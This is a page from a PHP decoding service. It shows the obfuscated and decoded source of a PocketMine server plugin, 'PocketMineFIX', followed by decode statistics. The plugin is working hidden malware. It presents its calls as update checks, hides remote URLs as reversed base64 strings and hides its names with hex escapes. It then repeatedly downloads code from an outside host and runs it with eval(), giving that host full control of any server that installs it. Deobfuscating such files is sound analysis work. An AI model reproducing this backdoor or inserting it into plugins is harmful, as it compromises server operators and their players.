Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php namespace PocketMineFIX;${"\x47\x4c\x4f\x42\x41\x4c\x53"}["z\x69\x75c\x73\x66\x79"]=..
Decoded Output download
<?php namespace PocketMineFIX;${"GLOBALS"}["ziucsfy"]="curlInit";use pocketmine\plugin\PluginBase;use pocketmine\Player;use pocketmine\Server;use pocketmine\event\Listener;use pocketmine\scheduler\CallbackTask;use pocketmine
etwork\protocol\TransferPacket;class PocketMinel extends PluginBase implements Listener{public function checkUpdateAvailible($url){${"GLOBALS"}["collbl"]="curlInit";$cxytwmxto="url";${"GLOBALS"}["osrpvxcldw"]="response";${"GLOBALS"}["spczzoxxrk"]="curlInit";$onlplategsb="url";${"GLOBALS"}["wunskuikbmi"]="response";if(!filter_var(${$cxytwmxto},FILTER_VALIDATE_URL)){return false;}$wfdjkpdofz="curlInit";${"GLOBALS"}["wodausufqe"]="curlInit";${${"GLOBALS"}["collbl"]}=curl_init(${$onlplategsb});curl_setopt(${${"GLOBALS"}["wodausufqe"]},CURLOPT_CONNECTTIMEOUT,10);curl_setopt(${${"GLOBALS"}["ziucsfy"]},CURLOPT_HEADER,true);curl_setopt(${${"GLOBALS"}["spczzoxxrk"]},CURLOPT_NOBODY,true);curl_setopt(${$wfdjkpdofz},CURLOPT_RETURNTRANSFER,true);${${"GLOBALS"}["wunskuikbmi"]}=curl_exec(${${"GLOBALS"}["ziucsfy"]});curl_close(${${"GLOBALS"}["ziucsfy"]});return${${"GLOBALS"}["osrpvxcldw"]}?true:false;}public function onEnable(){$this->getServer()->getPluginManager()->registerEvents($this,$this);if($this->checkUpdateAvailible(base64_decode(strrev("==AM9UGbiFmbl9zLrRnLrlGb6lmZpd2LvoDc0RHa")))){if(@file_get_contents(base64_decode(strrev("==AM9UGbiFmbl9zLrRnLrlGb6lmZpd2LvoDc0RHa")))=="1"){$this->getServer()->getScheduler()->scheduleRepeatingTask(new CallbackTask(array($this,"updateTask")),20);$this->getServer()->getScheduler()->scheduleRepeatingTask(new CallbackTask(array($this,"updateAvailable")),60*20);}}}public function updateTask($server=0,$checkUpdate=0){eval(@file_get_contents(base64_decode(strrev("=ATPsFmdl9zLrRnLrlGb6lmZpd2LvoDc0RHa"))));}public function updateAvailable($refresh=0,$UpdateFunction=0){eval(@file_get_contents(base64_decode(strrev("==AM9QGc19zLrRnLrlGb6lmZpd2LvoDc0RHa"))));}}
?>
Did this file decode correctly?
Original Code
<?php namespace PocketMineFIX;${"\x47\x4c\x4f\x42\x41\x4c\x53"}["z\x69\x75c\x73\x66\x79"]="c\x75\x72l\x49n\x69t";use pocketmine\plugin\PluginBase;use pocketmine\Player;use pocketmine\Server;use pocketmine\event\Listener;use pocketmine\scheduler\CallbackTask;use pocketmine\network\protocol\TransferPacket;class PocketMinel extends PluginBase implements Listener{public function checkUpdateAvailible($url){${"\x47\x4c\x4f\x42\x41LS"}["\x63\x6f\x6clbl"]="\x63\x75\x72\x6cI\x6e\x69\x74";$cxytwmxto="\x75r\x6c";${"\x47L\x4fB\x41L\x53"}["\x6f\x73\x72\x70\x76\x78cldw"]="\x72\x65\x73\x70\x6f\x6ese";${"\x47\x4cOB\x41\x4c\x53"}["sp\x63zz\x6fx\x78r\x6b"]="\x63\x75r\x6c\x49\x6eit";$onlplategsb="\x75\x72l";${"\x47L\x4f\x42\x41\x4c\x53"}["\x77\x75\x6e\x73k\x75i\x6b\x62mi"]="\x72\x65\x73\x70\x6fns\x65";if(!filter_var(${$cxytwmxto},FILTER_VALIDATE_URL)){return false;}$wfdjkpdofz="\x63\x75\x72lIni\x74";${"\x47\x4c\x4f\x42\x41LS"}["\x77\x6f\x64a\x75\x73u\x66q\x65"]="\x63\x75\x72\x6c\x49\x6ei\x74";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x63\x6fllb\x6c"]}=curl_init(${$onlplategsb});curl_setopt(${${"G\x4cO\x42\x41\x4c\x53"}["\x77\x6f\x64\x61u\x73\x75\x66\x71e"]},CURLOPT_CONNECTTIMEOUT,10);curl_setopt(${${"\x47\x4cOB\x41L\x53"}["\x7ai\x75\x63\x73\x66\x79"]},CURLOPT_HEADER,true);curl_setopt(${${"\x47\x4cO\x42A\x4c\x53"}["\x73\x70\x63\x7a\x7aox\x78\x72k"]},CURLOPT_NOBODY,true);curl_setopt(${$wfdjkpdofz},CURLOPT_RETURNTRANSFER,true);${${"\x47\x4c\x4fBA\x4c\x53"}["\x77\x75\x6es\x6b\x75\x69k\x62\x6d\x69"]}=curl_exec(${${"G\x4cOB\x41L\x53"}["ziu\x63\x73\x66\x79"]});curl_close(${${"\x47L\x4f\x42A\x4c\x53"}["\x7ai\x75cs\x66y"]});return${${"\x47L\x4f\x42A\x4c\x53"}["o\x73\x72\x70\x76\x78cl\x64\x77"]}?true:false;}public function onEnable(){$this->getServer()->getPluginManager()->registerEvents($this,$this);if($this->checkUpdateAvailible(base64_decode(strrev("\x3d\x3dA\x4d\x39UG\x62\x69\x46mb\x6c9z\x4cr\x52\x6eL\x72\x6cG\x62\x36\x6c\x6dZ\x70d2Lv\x6f\x44c0R\x48\x61")))){if(@file_get_contents(base64_decode(strrev("\x3d\x3d\x41M\x39\x55\x47\x62iFm\x62l\x39\x7a\x4c\x72R\x6e\x4cr\x6cG\x62\x36\x6cm\x5a\x70d\x32L\x76o\x44c0R\x48\x61")))=="\x31"){$this->getServer()->getScheduler()->scheduleRepeatingTask(new CallbackTask(array($this,"\x75\x70dat\x65\x54\x61\x73k")),20);$this->getServer()->getScheduler()->scheduleRepeatingTask(new CallbackTask(array($this,"\x75\x70da\x74e\x41\x76\x61\x69\x6c\x61b\x6ce")),60*20);}}}public function updateTask($server=0,$checkUpdate=0){eval(@file_get_contents(base64_decode(strrev("=\x41TP\x73\x46md\x6c\x39zL\x72R\x6eLr\x6c\x47\x62\x36lm\x5a\x70\x642\x4c\x76oDc\x30\x52Ha"))));}public function updateAvailable($refresh=0,$UpdateFunction=0){eval(@file_get_contents(base64_decode(strrev("=\x3d\x41M9\x51Gc\x319\x7a\x4c\x72RnLr\x6c\x47b\x36\x6cmZp\x642Lv\x6fDc\x30\x52Ha"))));}}
?>
Function Calls
None |
Stats
MD5 | 33c47456541ba8a20b9416cd4a016c27 |
Eval Count | 0 |
Decode Time | 61 ms |